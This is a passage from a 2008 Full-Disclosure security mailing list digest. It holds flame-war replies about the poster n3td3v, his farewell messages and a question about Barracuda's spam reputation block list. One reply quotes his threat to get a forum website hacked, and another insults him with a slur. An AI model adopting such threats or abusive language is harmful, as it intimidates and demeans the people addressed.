When we look what you say in december 2008, and the look at your posts on
that forum in 2004, it's impossible to believe one second that it's not you.
2008/12/22 n3td3v <xploitable
gmail.com>
> Looks like you've been joe jobbed, not just the folks on that forum.
>
> On Mon, Dec 22, 2008 at 8:15 PM, waveroad waveroad <waveroad
gmail.com>
> wrote:
> > Mine is that one:
> > http://www.bigblueball.com/forums/search.php?searchid=903472
> >
> http://www.bigblueball.com/forums/bigblueball-lounge/27558-n3td3vs-reputation-d.html
> > etc ..
> >
> > N3td3v's quote of the day : "Trust me, if you want to be rude, i'll be
> rude
> > back to you, and if you keep doing it, i'll make sure this website gets
> > hacked."
> > (http://www.bigblueball.com/forums/forum-support/28972-serious-post.html
> )
> >
> > It's funny to hear that from a guy who say: "we're letting the bad guys
> win,
> > whitehat powaa, i'm serious, MI5 will hire me one day, etc"
> >
> > 2008/12/22 Ureleet <ureleet
gmail.com>
> >>
> >> this is a favorite of mine tho:
> >>
> >>
> http://forum.crime-research.org/-vp3073.html?sid=172c1ebba153817877ca67d3de837933
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20081222/45421c02/attachment-0001.html
------------------------------
Message: 23
Date: Mon, 22 Dec 2008 17:42:24 -0500
From: Valdis.Kletnieks
vt.edu
Subject: Re: [Full-disclosure] Fresh Phish anyone?
To: full-disclosure
lists.grok.org.uk
Message-ID: <5140.1229985744
turing-police.cc.vt.edu>
Content-Type: text/plain; charset="us-ascii"
On Mon, 22 Dec 2008 21:53:29 GMT, n3td3v said:
> It seems the real researchers aren't welcome here anymore.
How does that follow from your experience here, given that you claim to
be a blogger rather than an actual serious researcher?
(And before you say "but I *am* a researcher", keep in mind that many on
the list will immediately counter "researching what?")
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20081222/997984d5/attachment-0001.bin
------------------------------
Message: 24
Date: Mon, 22 Dec 2008 17:44:00 -0500
From: "j-f sentier" <j.sentiar
gmail.com>
Subject: Re: [Full-disclosure] Fresh Phish anyone?
To: n3td3v <xploitable
gmail.com>, full-disclosure
lists.grok.org.uk
Message-ID:
<6f80feaf0812221444v22ae2562rada181184b8f36c8
mail.gmail.com>
Content-Type: text/plain; charset="iso-8859-1"
Kevin is a good security researcher, but you n3td3v you are only a good
trouble researcher.
Let us see one poc, some code, something innovating come on, we're waiting
to see this since 6 years.
You think you know something about security because you feel safe behind
your keyboard you fucking scary retarded.
2008/12/22 n3td3v <xploitable
gmail.com>
> On Mon, Dec 22, 2008 at 9:30 PM, Kevin Finisterre (lists)
> <kf_lists
digitalmunition.com> wrote:
> >> gtfo of fd.
> >
> > No problem... I'd been away for some time now. Sorry I bothered
> > dropping in.
> >
> > -KF
>
> Don't worry, they tell me to GTFO of FD as well.
>
> It seems the real researchers aren't welcome here anymore.
>
> :(
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20081222/e0550def/attachment-0001.html
------------------------------
Message: 25
Date: Mon, 22 Dec 2008 22:53:29 +0000
From: n3td3v <xploitable
gmail.com>
Subject: [Full-disclosure] This list has run its course
To: full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221453m1d5cf1cfp6456ce8e9f686812
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Real researchers who should be taken seriously aren't taken seriously anymore.
I'm leaving full-disclosure because of the abuse.
It's just turned into flames to spin people up, I don't get a chance
to talk about security or my skill set.
It's abuse after abuse after abuse.
Sorry, I can't take it anymore.
Got to go, bye.
------------------------------
Message: 26
Date: Mon, 22 Dec 2008 22:57:58 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] Fresh Phish anyone?
To: Valdis.Kletnieks
vt.edu, full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221457o59346a7dl7f323a731ebcc263
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
This "blogger" that you don't take seriously is gone.
On Mon, Dec 22, 2008 at 10:42 PM, <Valdis.Kletnieks
vt.edu> wrote:
> On Mon, 22 Dec 2008 21:53:29 GMT, n3td3v said:
>
>> It seems the real researchers aren't welcome here anymore.
>
> How does that follow from your experience here, given that you claim to
> be a blogger rather than an actual serious researcher?
>
> (And before you say "but I *am* a researcher", keep in mind that many on
> the list will immediately counter "researching what?")
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
------------------------------
Message: 27
Date: Mon, 22 Dec 2008 22:59:18 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] This list has run its course
To: "Ben Preston" <benjamin.preston
gmail.com>,
full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221459l59a1f85wb6bd238c43b19f31
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Won't be back on this list, n3td3v will continue elsewhere on the
internet, just not "HERE".
On Mon, Dec 22, 2008 at 10:56 PM, Ben Preston
<benjamin.preston
gmail.com> wrote:
> Bye. See you in a few months.
>
> --
>
> Ben
>
------------------------------
Message: 28
Date: Mon, 22 Dec 2008 18:12:33 -0500
From: "Elazar Broad" <elazar
hushmail.com>
Subject: [Full-disclosure] Barracuda Reputation Block List
To: full-disclosure
lists.grok.org.uk
Message-ID: <20081222231233.F1E1820040
smtp.hushmail.com>
Content-Type: text/plain; charset="UTF-8"
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Barracuda opened this up to the public back in September, see
http://www.barracudacentral.org/rbl. I have been using it for about
2 months or so, it seems to be pretty effective. Is anyone else out
there using it? What do you think?
elazar
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify
wpwEAQECAAYFAklQHuEACgkQi04xwClgpZhh5QP8D3SB52oQNBj+PrJYxw9hImgZiznE
Qa3XJmAOn2b7f1P/1oPCIoByjcLGe6U4J8+JJUl3QPr3P4wgAwHMqbf3Yy+4doBTVGnB
4jOKHSQ+wP+lz/hMUMTJMAnQGgLhcgt7ulRNi8WMYcHAsVyl5uxu8l+WMQq2FhuYxUfm
m57Hxz8=
=GX/H
-----END PGP SIGNATURE-----
--
Not having a degree dragging you down?? Click here for free information.
http://tagline.hushmail.com/fc/PnY6qxtpfWJSSKs8QEHNNaIVpHqi0Ph0jajkuMOaz4rQFSSwqjohy/
------------------------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
End of Full-Disclosure Digest, Vol 46, Issue 43
***********************************************
**********************************************************
To ensure compliance with requirements imposed by U.S.
Treasury Regulations, Proskauer Rose LLP informs you that
any U.S. tax advice contained in this communication
(including any attachments) was not intended or written to
be used, and cannot be used, for the purpose of (i)
avoiding penalties under the Internal Revenue Code or (ii)
promoting, marketing or recommending to another party any
transaction or matter addressed herein.
*********************************************************
This message and its attachments are sent from a law firm
and may contain information that is confidential and
protected by privilege from disclosure. If you are not the
intended recipient, you are prohibited from printing,
copying, forwarding or saving them. Please delete the
message and attachments without printing, copying,
forwarding or saving them, and notify the sender
immediately.
=============================================================================
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]